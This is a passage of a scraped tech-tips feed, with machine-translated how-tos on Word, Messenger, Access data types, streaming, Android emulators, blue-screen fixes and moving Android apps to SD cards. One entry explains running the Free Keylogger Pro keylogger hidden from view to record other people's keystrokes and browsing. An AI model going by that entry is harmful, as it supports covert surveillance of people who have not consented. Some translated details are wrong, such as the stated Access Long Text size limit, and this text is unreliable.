Welcome screen Ways to troubleshoot audio on Windows 10 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKCZnZp6pcLRZqanZaeeu6W71qxkamg%3D\n","link":"/post/how-to-turn-off-game-dvr-on-windows-10/","section":"post","tags":null,"title":"How to turn off Game DVR on Windows 10"},{"body":"To highlight the paragraph or word in the sentence, we will use the underlined style under the word. The U icon is available in Word's toolbar to underline the text. But that underlined style is just a solid stroke, so what if you want to create a dashed underline style? On Word, there are also many different underline styles to choose from, including the dashed style. In addition, users can create colors for those underlines. The following article will guide you how to underline the broken word on Word.\nHow to remove the underline, delete the red brick, blue brick under the word in Word How to create and delete horizontal lines on Word Create a quick dot (……………) line in Microsoft Word Guide font formatting, change stretch and create artistic text in Word Instructions for creating underline strokes on Word Step 1:\nFirst of all, we also need to highlight the words, or the text you want to underline. Then click the arrow next to the U symbol .\n  Step 2:\nImmediately afterwards display some dashed style strokes for us to use for the document content.\n  The text result will be underlined under the dashed line as shown below.\n  Step 3:\nTo open more types of dashed strokes, users click More Underlines on the U icon list. Then display the Font interface so that we can change the new underline style for the content.\nAt the Underline styles section, click on the drop-down arrow icon to display other underline styles. Click on the underlined type you want to use.\n  Immediately content on Word will be changed to a new underlined style.\n  In case you just want the underlined words in each word, choose Word only in the list of tiles under the letters.\n  The underline will only show up in each word and manually adjust the length of the underlined stroke corresponding to the length of the letter.\n  Step 4:\nIn addition, users can create colors for those underlines. Click Underline Color and then select the color for the dashed stroke. If you want to open more colors, click More Colors .\n  \nThe text will be more prominent with the broken lines of colors as shown below.\n  So besides the straight underline stroke type, we also have some kind of break or even wavy strokes. The underlined content on Word will be much more prominent, giving more attention to viewers.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2embKzuMinnGasmJp6o77OpJynZaekv6V5zqdksKeimQ%3D%3D\n","link":"/post/how-to-underline-the-broken-word-on-word/","section":"post","tags":null,"title":"How to underline the broken word on Word"},{"body":"To control and monitor activities on the computer when you are not at the computer, help you know what other people have used your computer to do, you can use Free Keylogger Pro software. Free Keylogger Pro software helps you effectively monitor your computer activities, save keystrokes, visited websites .\n  The following article guides you to monitor computer management with Free Keylogger Pro software.\nStep 1: Download and install the Free Keylogger Pro software .\nStep 2: After the installation is complete, you launch the Free Keylogger Pro program, the program interface is as follows:\n  Step 3: In the Startup Settings section you can tick the options:\n- Lauch Software on Windows Startup: Run the software with Windows startup.\n- Start in Hidden Mode (Hide Tray Icon): Start and hide the icon under the system tray.\nTo start monitoring and managing your computer, click Start Logging .\n  Step 4: While the program is monitoring the computer, press Shift + Ctrl + Alt + K to display the program interface. To end the monitoring process you click Stop Logging .\n  Step 5: Manage computer activities.\nClick on the functions to review the activities of the computer during the monitoring process.\n  View Keystrokes: review the actions on the keyboard.\n  View Clipboard: view the Clipboard.\nView Visited Sites: displays the website visited before.\nTo delete the previously monitored activities, click Delete Selected or Clear Reports .\n  Thus, with Free Keylogger Pro software, you can completely control your computer even when you are not on the computer. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kurC6yK2mq2WRo7FuucCnmKCdXZi8rrzUrZyrZZGYwarCyK2gnqtdrLa1tIyfqZ6dXaCyurjOoJ6eql2lv7A%3D\n","link":"/post/monitor-and-manage-computer-activities-with-free-keylogger-pro/","section":"post","tags":null,"title":"Monitor and manage computer activities with Free Keylogger Pro"},{"body":"At a time of global crisis sparked by the coronavirus pandemic, 2020 has not felt like a good year to deliver April Fools' Day pranks. But we can make some exceptions for sweet, gentle and genuinely funny jokes.\u0026nbsp;\nThanks, NASA, for giving us a good giggle with the\u0026nbsp;Astronomy Picture of the Day (APOD) for April 1, 2020.\u0026nbsp;\n NASA's APOD typically features \"a different image or photograph of our fascinating universe\" along with an explanation from an astronomer. Wednesday's image is titled \"Asteroid or Potato?\" You might have to look twice to answer that question.\nAsteroid or Potato: https://t.co/7xthr4cKTH by Jack Sutton pic.twitter.com/8zZvIpnCn8\n— Astronomy Picture Of The Day (@apod) April 1, 2020 The image, by Jack Sutton, is indeed a potato, but it bears an uncanny resemblance to asteroid Arrokoth (formerly known as Ultima Thule). NASA's New Horizons mission viewed the fascinating and faraway space rock during a flyby in early 2019.\nImages from New Horizons showed a strange two-lobed shape, which has been likened to a pancake or a snowman. As it turns out, a funky potato seems to be its best doppelganger.\u0026nbsp;\nBefore you launch a spacecraft loaded with an industrial-sized peeler, keep in mind this science tidbit from NASA: Arrokoth may look like this potato, but the asteroid is \"about 200,000 times wider and much harder to eat.\"\nncG1vNJzZmismaXArq3KnmWcp51ku6K%2FwGabopxdlr2ztctmnainnKh6pa3YZqeeqpaasLW42GaroaGjYsamrdFmrqKsmGKubrLUp6KyZaCkwaLAzg%3D%3D\n","link":"/post/nasa-did-april-fools-day-perfectly-this-year-with-a-funky-potato/","section":"post","tags":null,"title":"NASA did April Fools' Day perfectly this year, with a funky potato"},{"body":"Windows 11 event time Microsoft will live stream the event, starting at 11 a.m. on June 24, 2021. Satya Nadella - Microsoft CEO and Panos Panay - Product Manager will both be at the event. If you can't watch at the time of the live stream, you can visit Microsoft's website and watch it later.\nHow to watch Windows 11 events live tiếp You can view Windows 11 events using a web browser, just visit the Microsoft Windows Events page.\nMicrosoft event streams work in all modern browsers, including Google Chrome, Microsoft Edge, Apple Safari, and Mozilla Firefox. You can watch it online on your Windows 10 PC, Mac, Chromebook, iPad, Android tablet, Linux PC, or whatever other device you're using.\nWant to watch on your streaming device, game console or smart TV? You can also find the live session on Microsoft's YouTube channel.\nIf you missed the live, you can watch it again on the page above or on the Microsoft YouTube channel.\nThings to look forward to At the Build 2021 keynote on May 25, 2021, CEO Satya Nadella said that he's been using the 'next generation of Windows' for several months and we'll hear about that at the event. this case.\nAfter that, many rumors, wallpapers and even a build of Windows 11 were leaked. So we expect an official announcement about Windows 11.\nWindows 11 may have a new Start Menu, new icons and a widget button on the taskbar. You must sign in with a Microsoft account if you want to upgrade to Windows 11 Professional.\n  At the announcement, we look forward to hearing more about future plans for Windows 11. Here's what we expect:\nRelease plan: When will Microsoft release Windows 11? If we had to guess, we expect it to be before 2021 ends. However, according to some speculations, this looks like a big update for Windows 10. But, we still don't know what the release cycle will be. Upgrade cost: We think Windows 11 will be a free upgrade from Windows 10. Review Geek even installed a leaked build using Windows 7. The future of the Store: Microsoft talked about a revamped Microsoft Store that focuses more on desktop apps. There are even rumors that the Microsoft Store will allow other hosted apps like Steam as well as competing browsers like Google Chrome. Settings and Control Panel: Leaked build of Windows 11 shows that the Settings app is mostly unchanged from Windows 10 and the Control Panel is still alive. Finally, does Microsoft plan to unify Windows installations? Others: We were initially wondering if Windows 11 was intentionally leaked? Honestly, though, the leaked build is pretty impressive. Microsoft probably wants to share more details about their plans for Windows 11 and the future of the Windows operating system. We know a lot about the current leaked version of Windows 11, but we don't know what changes Microsoft plans to make before its release or what the company's larger plans are. Let's look forward to the Microsoft event!\nTipsmake will update the information, please read it!\nwindows 11 ncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGVhZnqmwsSnq2avmJq7brTOsGStp12srrWvx2ajoq6VYq6vsIywn5qsXam8brHXqZycrA%3D%3D\n","link":"/post/when-how-to-watch-live-and-what-to-expect/","section":"post","tags":null,"title":"When, how to watch live and what to expect"},{"body":"Each field in a table has attributes and these attributes determine the characteristics and behavior of the field. The most important attribute in a field is its data type - data type . The data type of the field determines what kind of data can be stored.\nMS Access supports different types of data, each with a specific purpose.\nThe data type determines the type of value that users can store in the fields. Each field can store data that includes only one type of data.   Here are some of the most common data types used in Microsoft Access databases.\nDatatypes\nDescribe\nSize\nShort Text Text or number combination text, including numbers that do not require calculations (eg phone numbers, postal codes .), often used to store personal names, addresses, and street names , street name . Up to 255 characters Long Text Long text or combination of text and numbers, consistent with descriptions that require a large amount of text (such as product descriptions). From 63 to 999 charactersNumberDigital data, can be used for calculation, suitable for storing data such as the number of a product, distance, number of students, number of customers . 1, 2 , 4 or 8 bytesDate / TimeDate value / time to store time data from 100 to 9999. 8 bytesCurrency Value for currency and digital data is used with calculations of one to four decimal digits Stool, suitable for storing the amount of money of a given currency. 8 bytesAutoNumberA unique sequence number (increment 1) or random number specified by Microsoft Access every time a new record is added to the table. 4 bytesYes / No Data type Yes / No is suitable for answers or fields that only need to store values ​​with or without 1 bit If you use previous versions of Access, there will be a slight difference in the name of the data types.\nFrom Access 2013, there are short text and long text data types, and in previous versions, it is called text and memo.\nThere are also some other specialized data types, you can choose in Access.\nHere are some of the most common data types used in Microsoft Access databases.\nDatatypes\nDescribe\nSize\nAttachment\nAttached files such as digital images are suitable for storing attachments on each record. This data type is not available in previous versions of Access.\nUp to 2 GB\nOLE objects\nOLE objects are used to store images, audio, video or large binary objects (Binary Large Object).\nUp to 2 GB\nCharacter string is used as a hyperlinked address\nDark 2048 characters\nLookup Wizard\nLookup Wizard is not really a data type. When you select this item, the wizard starts to help you identify a simple or complex lookup field.\nThe lookup field simply uses the contents of another table or value list to authenticate the content of a value on each row. The complex lookup field allows you to store multiple values ​​of the same data type in each row.\nDepends on the data type of the lookup field\nCalculated\nIt is possible to create an expression that uses data from one or more fields. You can specify different result data types from expressions.\nThese are all the different data types you can choose when creating fields in the Microsoft Access table.\nPrevious article: Create Database (Database) in Access 2016\nNext lesson: Create Table (Table) in Access 2016\nncG1vNJzZmismaXArq3KnmWcp51ksaLAwGarsqiVqHqquoyampydo6h6c3yQbw%3D%3D\n","link":"/post/data-types-in-access-2016/","section":"post","tags":null,"title":"Data types in Access 2016"},{"body":"As you all know Facebook's interface is always blue, even the chat frame is also blue by default and this can make us feel a bit boring. Perhaps understanding the user psychology, Facebook has updated the feature that allows us to change the color of the chat messenger frame, this will make users feel new and less boring. And in this article, TipsMake.com will guide you how to change the color of chat messenger frames, please refer.\n  1. Change the color of the Messenger chat frame on the computer For web chat window on your computer, do the following:\nStep 1 : In the chat window, click on the gear icon when the options will appear, select the Color\n  Step 2: The color selection window appears, select the color you like, for example, here we choose pink:\n  Immediately our chat window has been changed:\n  2. Change the color of Messenger chat on your phone For the Messenger app on your phone, change the color as follows:\nStep 1 : In the chat interface, select the letter (i) icon on the screen, then in the new window select Color\n  Step 2: Now the color palette appears, select the color you want to change.\n  For example, here we choose pink, immediately chat interface has been changed color:\n  Thank you for watching the article!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lk6S5sL6MqJ1mpZWowKa6xp6pZpulqMGwuciznGasmJp6pLvLqKlmp5ZiwamxjJ%2BYnJ2SpLysecyeqqydnpyys3nCoZitZaeeu6W71g%3D%3D\n","link":"/post/how-to-change-the-color-of-messenger/","section":"post","tags":null,"title":"How to change the color of Messenger"},{"body":"Booyah! is a streaming platform where any gamer can livestream, build their own audience community and earn money.\nBooyah has a partner program through which players can earn money through livestream, called Booyah Partner/Streamer Program. This program is run by Booyah himself and encourages new streamers to stream on it.\nBasically, Booyah! owned by Garena International I Pvt. Ltd. which also owns the survival shooter Free Fire. This is specially developed for Free Fire players to stream Free Fire games on it.\n  But for now the platform can stream other PC games as well, with the exception of battle royale games like PUBG. So it doesn't matter what game a gamer plays, everyone can stream on Booyah! and make money.\nIf you are learning about the Booyah Partner/Streamer Program, this article will be a guide to a complete earning path called Booyah! Live.\nRequired to stream on Booyah! Everyone can livestream on Booyah! with any device, but the following recommendations are recommended for those who want to develop professionally on the platform.\nBasic PC setup with at least 4GB RAM (8GB recommended) for streaming. If you want to play games and stream simultaneously from your PC, your computer must have a high configuration and graphics card. A mid-to-high end configuration mobile phone for mobile players. A microphone with good sound quality. About 2-3 hours of gaming a day. Games to stream on Booyah! Gamers can stream games like GTA 5, Minecraft, Valorant,. on Booyah! but Free Fire will be the game that attracts the most audience. Since the platform is created by the company Garena, most of the participants are also Free Fire players.\nIf you've played Free Fire, everyone should stick with this game. In addition, the games mentioned above are also trending on Booyah! so gamers can still stream everything according to their ability, except for survival shooters like PUBG.\n  Detailed instructions on how to make money on Booyah! This is the most important part of this article. Let's learn about some of the important terms used in the Booyah! platform.\nAverage Concurrent Viewers (CCV) Concurrent viewers (CCV) represents the number of viewers watching at a particular time. Average CCV shows how many people continuously watch your entire stream on average.\nAverage logged in viewer It's the same as average CCV but the difference is that this is the average number of users who linked their Free Fire ID to their Booyah account and watched your entire stream.\nLive broadcast date Stream date refers to the number of days the streamer has streamed on Booyah. To be counted as a valid live day on Booyah, the streamer will have to stream for at least 120 minutes a day.\nStreamer does not have to stream 2 hours in a row but can split the time, but this is not recommended. The longer the stream, the more opportunities people have to grow faster.\n  Complete the criteria and levels Before participating in the Booyah Streamer Program, everyone must fulfill the following criteria and conditions:\nComplete 3 days of streaming. Reach 2/3 of the average CCV. Completed 10 hours of streaming Have at least 10 followers.   After completing this requirement, people can join the program and then the journey to earn money will begin. Now everyone will see the No Levels Achieved display at the top.\nAt this moment everyone is joining the Booyah Partner Program and can earn money by gaining levels.\n  Verified streamer badge Most streamers think that, upon completion of the Program's eligibility, they will receive the Verified Streamer Badge on profile, but this is not the case.\nThis badge will be awarded by Booyah and there are no specific criteria or conditions to receive it. Everyone just needs to stream regularly and if possible by facecam to quickly be recognized by Booyah. Once they see you're a platform match, they'll issue a verified streamer badge.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJuuc6nnLJlkq56rbXVnqqtqpWWuqq6xmamp2WSpLy6rcc%3D\n","link":"/post/how-to-make-money-by-livestreaming-on-booyah/","section":"post","tags":null,"title":"How to make money by livestreaming on Booyah!"},{"body":"Box Notes is a document-creation tool available directly from Box. Similar to a notepad, it allows you to quickly take notes and share ideas within Box. The functionality is already built-in, so there's no need for additional software to...\nPart 1of 5:\nCreating Box Notes  Go to the destination folder. Navigate through your Box folders directory until you reach the sub-folder where you want to store your new Box note.\n  Create a new Box note. Creating a new Box note can be done by clicking on the 'New' button found on the page header menu and then selecting 'New Box Note.'\n  Name the new Box note. A pop-up screen will appear for 'Create a Box Note.' Type in the name of your new Box note in the Name field. You can also type in a short description in the Description field. Click on the 'Okay' button when you're done.   Work on your Box note. You will be brought to Box Notes editor where you can start writing your notes.\n  Don't worry about saving your work. Just focus on writing your notes without the need to worry about hitting a 'Save' button. There's no 'Save' button anyway. Your work is automatically saved, and your Box Notes file will be saved in the folder you set in step 1, with a file extension '.boxnote'.\n Part 2of 5:\nEditing Box Notes  Locate your Box note. Navigate through your Box folders until you find the Box note you'd like to edit. Note that Box Notes have a file extension '.boxnote'.   Open the Box note. Once you've found it, click on it and it will be opened in the Box Notes editor, still inside your web browser under a new tab or window.\n  Edit the Box note. Work on your note just like before when you created it. No need to save as it's still being automatically saved.\n  Format the texts. If you'd like to add some text formatting on your Box note, use the formatting tools found on the toolbar located at the top. The icons and the functionalities for these work similarly with other text and document editors, like MS Word. You can apply formats by selecting the text you'd like to change or by selecting them before typing in the new style format. You can format the text size, text color, font style, alignment, and bullets or numbering.  Part 4of 5:\nAdding Links and Comments in a Box Note  Locate your Box note. Navigate through your Box folders until you find the Box note you'd like to edit. Note that Box Notes have a file extension '.boxnote'.   Open the Box note. Once you've found it, click on it and it will be opened in the Box Notes editor, still inside your web browser under a new tab or window.\n  Highlight the text. Locate the text—whether word, phrase, sentence, or paragraph—and highlight it by selecting them.\n  Insert hyperlink. After the text has been highlighted, a two-icon element will appear near the text. Click on the link icon on the right. It will ask you for the URL or link to where the text will link up to. Type or paste it in the field, and press the Enter key from your keyboard. The hyperlink will be inserted.\n  Add comments. If you'd like to add a comment on a text, much like how you do when reviewing on MS Word, highlight the text. A two-icon element will appear near the text. Click on the review icon on the left. Type in your comment, and click the 'Add Annotation' button right below the text field. The annotated text will be highlighted, and your comments will appear when you hover over it.  Part 5of 5:\nSharing Box Notes  Locate your Box note. Navigate through your Box folders until you find the Box note you'd like to share. Note that Box Notes have a file extension '.boxnote'.   Create a share link. Once you've found it, hover over it to see a link icon with a 'Share' text towards the right side of the file. Click on this link icon or 'Share' text. A share link will be created and displayed right below the file.\n  Copy the share link. Highlight the share link and copy the whole thing. You can press Ctrl + C on your keyboard to do so. The share link will be copied to your clipboard.\n  Share the share link. Use your e-mail client, IM app, or even your social media accounts to send the share link across your recipients. They will be able to access your Box Note using this share link.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqju9dmpaislag%3D\n","link":"/post/how-to-use-box-notes/","section":"post","tags":null,"title":"How to Use Box Notes"},{"body":"Although not providing many editing features like in Word, Google Docs also partly satisfies the basic editing needs of users. And Google Docs also has a spell checker and English dictionary checker so you can see the meaning of the word right in the Google Docs interface.\nGoogle Docs will provide details about the format of the word if available in the dictionary. You also have examples of how to use words, similar to many other English dictionaries. Thus, we can see the word information on the Google Docs interface right away without using Google Translate or Google Chrome dictionary utilities. The following article will guide you how to use the Google Docs dictionary tool.\nHow to spell check on Google Docs Dictionary search utilities on Chrome should not be ignored 10 useful tools to help 'check' English spelling and grammar best 2018 Language translation on Word 2019 Guide to searching the dictionary on Google Docs Step 1:\nFirst of all, you need to access your personal Google Docs account and enter the content of the English document.\n  Step 2:\nNext to the user black out the words to look up the dictionary.\n  Click on the Tools section above then select the Dictionary section . Or users can press Ctrl + Shift + Y to quickly open the dictionary.\n  Step 3:\nImmediately frame The dictionary will display in the interface to the right of the screen as shown below. You will first see the transcription of the word and the word type, followed by explanations for the word as well as the word usage. For those who write English content, this dictionary will definitely help a lot.\n  In case the user enters the wrong word, it will receive the message as shown below.\n  If you compare the dictionary available on Google Docs, there are still many limitations such as unexplained words to Vietnamese, no additional pronunciation, some specialized words can not be searched. However, if you don't have too much demand for word translation or intensive research from English, you can also look up quickly through the Google Docs dictionary.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmm6KbpJ68r63RsmSopl2cvLCzy55knaeTqA%3D%3D\n","link":"/post/how-to-use-the-dictionary-on-google-docs/","section":"post","tags":null,"title":"How to use the dictionary on Google Docs"},{"body":"LDPlayer is a powerful Android emulator, which supports Virtualization technology (virtualization technology) available in modern computers and processors. With LDPlayer, you can experience the Android operating system on the desktop and no need to worry about hardware limitations compared to smartphones.\nLDPlayer was developed by a Chinese software company specializing in virtualization technology, Linux Kernel and Android operating system. Every user in the world can use LDPlayer to enjoy Android apps and games on the desktop. This emulator may not be available on the Play store. In that case you have to side-load apps and games by downloading individual APK files. After downloading the file, drag and drop it into the LDPlayer window and wait for the emulator to install the application.\n  Software running Android 5.1. While this is an old version, LDPlayer still provides super fast performance on the computer. It also provides multi-tasking (you can launch multiple apps at once), which is useful if you want to experience many Android-style tasks on the desktop.\nYou can use the keyboard and mouse normally on LDPlayer. You can also attach gamepads or joysticks on your computer screen so that LDPlayer can identify them. Then, transfer LDPlayer to full screen mode and enjoy your game.\n  LDPlayer is a great way to play Android games on the desktop. The software provides APK installation by drag and drop and fully supports virtualization technology. Now you can experience Android games and applications in a stable and smooth way on your computer screen.\nDownload LDPlayer.\nSee more:\nTo run Android applications on Windows computers, read this article MEmu software - Add options to play Android games on your computer How to install NoxPlayer to play Android games on computers Install Android on your computer, run Android in parallel with Windows with Virtualbox Instructions to install Android game with APK file on computer with Droid4X ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaonJbGqrrGZpinnKKktqV5xpqknqtdpLtuvMJmrqKsmGK5pbzLmrCeqg%3D%3D\n","link":"/post/instructions-for-playing-android-games-on-pc-with-ldplayer/","section":"post","tags":null,"title":"Instructions for playing Android games on PC with LDPlayer"},{"body":"In the previous article, we introduced you to some basic steps to fix black screen errors on your computer. And this time, we will continue with the article on how to fix blue screen of death which is quite popular on Windows.\nRead the article about some ways to fix black screen errors of Windows\n Appeared from Windows XP (or maybe before), until Windows 7 (that is, a very long time), this error often appears on Windows.\n  The familiar blue screen error ( Blue Screen Of Death )\nHow to fix blue screen error on Windows computer Blue screen error identification sign The causes can lead to blue screen phenomenon on Windows XP, Win 10, Win 8 1. Due to Windows error 2. Due to the video card driver 3. Due to computer hardware  Fix dead blue screen error (BSoD) in Windows 7 How to fix common errors Specific errors  Blue screen error identification sign That blue screen error appears as soon as the BIOS screen finishes (ie, has not reached the Windows load screen, has a horizontal bar running) then it is 99% due to AHCI error in the BIOS settings. To check again, go to the BIOS section (press F2, F10, F10, Delete depending on the model at the start of the boot), and see in the hard drive mode - SATA Mode is IDE or AHCI:\n  Please switch to AHCI mode instead of IDE\nThe causes can lead to blue screen phenomenon on Windows XP, Win 10, Win 8 1. Due to Windows error This is a multitude of reasons that are hard to explain, operating system errors, virus errors, driver conflicts, incompatible software errors . Please try some troubleshooting steps below:\nREMOVE the most recently installed software program, driver . Then restart the computer a few times (or open multiple software at the same time) to see if the blue screen phenomenon is still there? Delete all junk files in temp folder (go to Run \u0026gt; type temp \u0026gt; Enter ) and folder % temp% (go to Run \u0026gt; type % temo% \u0026gt; Enter ). Use CCleaner or similar software to wipe the excess files, junk files from the system, then restart the computer. 2. Due to the video card driver Check in Device Manager to see if your screen driver is lost?   If your VGA driver is missing, install the wrong driver . then the system arrow will show as Standard VGA driver, not the specific model and number.\n3. Due to computer hardware Why is computer hardware? What is the specific hardware here?\nWe can understand like this, the computer is a combination of hardware system (monitor, keyboard, CPU, RAM, hard drive, sound card, video card .) software and system driver system (for the operating system to \"identify\" hardware in Windows). And in the process of using cable can connect the hard drive is loose, RAM foot is dirty . will also lead to blue screen error. The fix here is that you can remove and re-install it (require skilled users and support tools) or bring out a reputable computer repair service for technical staff to check, Machine cleaning, software maintenance.\nFix dead blue screen error (BSoD) in Windows 7 If you see a dead blue screen error, but Windows 7 restarts immediately and you can read the error content completely, follow these instructions to turn off the Automatically restart option :\n1. Right-click My Computer.\n2. Find Properties.\n3. Go to the Advanced tab\n4. At the Startup and Recovery section , click the Settings button .\n5. In the System failure section , make sure to uncheck the 'Automatically restart' option.\n6. Click OK.\nIf you can boot into Windows, try booting into Safe Mode, follow the instructions above and then restart the computer.\nHow to fix common errors To fix the blue screen death error (BSoD) in Windows 7, you can try any of the following tips:\nTip # 1: Use System Restore\nRefer to the article: Instructions on how to use System Restore on Windows for more details.\nTip # 2: Install updates\nSimilar to Windows Vista, installing recent updates from Microsoft can fix any errors you encounter in Windows 7 systems.\nRefer to the article: How to update Win 7, update Windows 7 to the latest version for more details.\nTip # 3: Install the latest driver\nMake sure you have installed the latest device driver on your system. Find the computer manufacturer's official website and check the latest driver version.\nMany dead blue screen errors can be caused by incompatible device drivers. You can try to delete any recently installed device drivers and restart the computer.\nTip # 4: Check hard drive errors\nWindows 7 has a few handy tools that can help identify and fix certain errors. You can use these utility tools to check hard drive or memory problems.\nRefer to the article: Three ways to check the drive in Windows 7 for more details.\nTip # 5: Use Startup Repair\nYou can run the Startup Repair tool manually, if there is a recovery option preinstalled on your computer or with an original installation disc or a system recovery and repair disc.\n  Refer to the article: How to use the Startup Repair tool to troubleshoot problems in Windows 7 for more details.\nSpecific errors Error 0x000000ED (UNMOUNTABLE_BOOT_VOLUME)\n  Blue screen death error code 0x000000ED is also known as UNMOUNTABLE_BOOT_VOLUME.\nFor situations where the UNMOUNTABLE_BOOT_VOLUME error is caused by inaccurate or outdated information, regarding the Windows partition in boot configuration files (BOOT.INI or BCD) for NTLDR or BootMGR, Easy Recovery Essentials can often recreate the boot configuration with standard settings and parameters, to allow Windows to boot correctly:\n1. Download Easy Recovery Essentials. Select the Windows version (XP, Vista, 7 or 8) before downloading.\n2. Burn (write) image: Refer to the article: Use Daemon Tools to create ISO Image in Win 7 or How to burn ISO image file to CD, DVD for details.\n3. Start Easy Recovery Essentials.\n4. Select the Automated Repair option and click Continue.\n  \n5. Select the Windows installation drive letter (usually C :) and click Automated Repair.\n6. Wait for Easy Recovery Essentials to complete the process.\n  7. When the process is complete, click Restart.\nError 0x0000007B (INACCESSIBLE_BOOT_DEVICE)\n  Blue screen death error 0x0000007B also known as 'INACCESSIBLE_BOOT_DEVICE', may cause a data error on the hard drive.\nTo fix this error, take any of the following measures.\n1. Hard drive cable\nEnsure that all hard drive cables are properly connected.\n2. Run chkdsk / f / r\nThe chkdsk tool is built into Windows and can be used to check (and sometimes repair) drives when the file system crashes. Check out the article: Check and fix hard drive errors with the chkdsk command on Windows to know how to do details.\n3. Rebuild BCD\nBCD stands for Boot Configuration Data - Boot configuration data, contains Windows boot configuration options. To fix the problem with boot configuration data, you need to use the Bootrec.exe tool.\nYou can access the Bootrec.exe utility using the Windows 7 installation disc. If you do not have an installation disc, use Easy Recovery Essentials to rebuild BCD.\nB1: Insert and boot from the installation disk. B2: Press any key to boot from disk. B3: Select Repair your computer . B4: Select the operating system from the list and click Next. B5: Select Command Prompt. B6: Enter the following command: bootrec / rebuildbcd B7: Press the Enter key Error 0x00000024 (NTFS_FILE_SYSTEM)\n  In Windows 7, the blue screen death error 0x00000024 is also called 'NTFS_FILE_SYSTEM' and may be due to hard drive data corruption.\nTo fix this error, try running the chkdsk utility tool. If chkdsk doesn't work, try removing any hardware that has been added to the system recently. Also, if you have a new software or device driver installed, uninstall those software.\nThe hard drive may be corrupted, so consider replacing another hard drive if none of the solutions presented here are right for you.\nHow to run chkdsk\nB1: Insert the installation DVD and start the PC. B2: Press any button. B3: Click Repair your computer . B4: Select the operating system, then click Next. B5: Select Command Prompt. B6: When the Command Prompt is launched, enter the following command: chkdsk / f / r , then press Enter. Error 0x0000007E (SYSTEM_THREAD_EXCEPTION_NOT_HANDLED)\n  The deadly blue screen error 0x0000007E, (also known as SYSTEM_THREAD_EXCEPTION_NOT_HANDLED ) can be fixed by any of the following methods:\nMake sure you have enough hard drive space The BIOS version in use is the latest version available and compatible with the computer Video driver compatible with Windows 7 Device driver is properly configured and compatible with the system The computer manufacturer's website often has more information about how to update the BIOS and that is the driver you need to install for Windows 7.\nError 0x0000008E (KERNEL_MODE_EXCEPTION_NOT_HANDLED)\n  To fix the blue screen death error 0x0000008E 'KERNEL_MODE_EXCEPTION_NOT_HANDLED' , you can try the following:\nMake sure the BIOS is updated. Visit the computer manufacturer's website to know how to update the BIOS. Uninstall any recently added drivers or make sure you have the latest version compatible with Windows 7 available Error 0x00000050 (PAGE_FAULT_IN_NONPAGED_AREA)\n  Dead blue screen error 0x00000050 'PAGE_FAULT_IN_NONPAGED_AREA' may be because the driver is not compatible with Windows 7 or the hard drive is damaged.\nTo fix this error, you can try:\nRestart Windows 7 into Last Known Good Configuration mode Delete any newly installed software or drivers (and make sure you use the latest available versions of Windows 7 compatible drivers) Check the hard drive cable to see if they are properly connected To boot Windows 7 into mode Last Known Good Configuration :\n1. Restart the computer\n2. Press F8 several times before the Windows logo appears.\n3. Select 'Last Known Good Configuration (Advanced)' from the Boot Options menu .\n4. Press the Enter key .\nError 0x000000D1 (DRIVER_IRQL_NOT_LESS_THAN_OR_EQUAL_TO)\n  Blue screen death error 0x000000D1 'DRIVER_IRQL_NOT_LESS_THAN_OR_EQUAL_TO' may be caused by incompatible drivers that you have recently installed.\nTo fix this, try booting Windows 7 into Safe Mode and then uninstall the problematic driver.\nError 0x000000EA (THREAD_STUCK_IN_DEVICE_DRIVER)\n  Blue screen death error 0x000000EA 'THREAD_STUCK_IN_DEVICE_DRIVER', most likely due to a problem with the video driver.\nTo fix this, make sure you have the latest driver for the video adapter that is compatible with Windows 7. The computer manufacturer's website will often have more information and resources about available drivers.\nIf the driver is not the cause of the 0x000000EA error, try updating the BIOS to the latest version available or try changing another video card.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJ%2BhqGKvrcHEZqqcqpWau26x0aumq2Wfo3qku8yprK2dog%3D%3D\n","link":"/post/instructions-to-fix-blue-screen-error-on-computer/","section":"post","tags":null,"title":"Instructions to fix blue screen error on computer"},{"body":"TipsMake.com - Android applications are installed by default on internal memory, but you can also set SD card as the default installation location or transfer installed Android apps to SD memory card. Here are a few ways to transfer installed apps on your phone to an SD card.\nThis method requires Android 2.2 operating system or newer. There are several different ways to do this, depending on the version of Android the device is running and the application you install. Android 6.0 Marshmallow allows accepting SD card as internal memory, automatically installs allowed applications on SD card. Devices running Android older than Android 6 allow you to move apps to SD cards manually, but only if the Android version developer on the device allows you to do so. If you want more flexibility, you need to root your Android phone, then install the Link2SD application to move the application to the memory card.\nNote when transferring Android apps to a memory card 1. Some applications should not be installed on an SD card, but should be installed on the internal memory. External memory is not available when the Android device is mounted on the computer so applications that always work with the device must be left on the internal memory. The widgets, startup programs, vivid screen images and the data you want to use when the SD card is mounted on your computer should be placed in the internal memory.\n2. When running the application on SD memory card, it will almost certainly be slower than when running on internal memory, you should only use it for applications that do not require high speed, it will be better.\n3. If you want better performance, you need high-speed SD memory cards, at least Class 10 or UHS-I and preferably UHS-3.\n4. Any data on the SD memory card will be erased when you format it and after it has been formatted for use as internal memory on your device, it will not be available on other devices (except when you reformat it).\n5. Not all devices that support SD memory cards have Adoptable / Flex Storage features. Samsung and LG have removed this feature in its Android ROM. Motorola, HTC, Huawei and Nvidia still retain this feature.\n6. Finally, if you remove the SD memory card from your device, you will damage the functions of the application, the content has been transferred to the memory card.\nTransfer the application to the memory card using the application manager Open Settings / Settings on your phone =\u0026gt; click Apps / Apps \u0026gt; select the application you want to switch to microSD card.\n   Select Storage / Storage \u0026gt; Change / Change and select the memory card. If you do not see the Change option here, it means that the application cannot switch to the memory card. If all applications do not have this option, then your device does not support this feature.\n    Click Move / Move to move the application. If you want to return the application to internal memory, do the same thing as above, after selecting Change , select Internal memory / Internal Storage .\n  On some Android versions / devices you can move the application right in the application management section if you see the Move to SD Card option.\n  To switch the application back to internal storage, simply select Move to device Storage:\n  Set SD as internal memory The Adoptable or Flex Storage feature, first 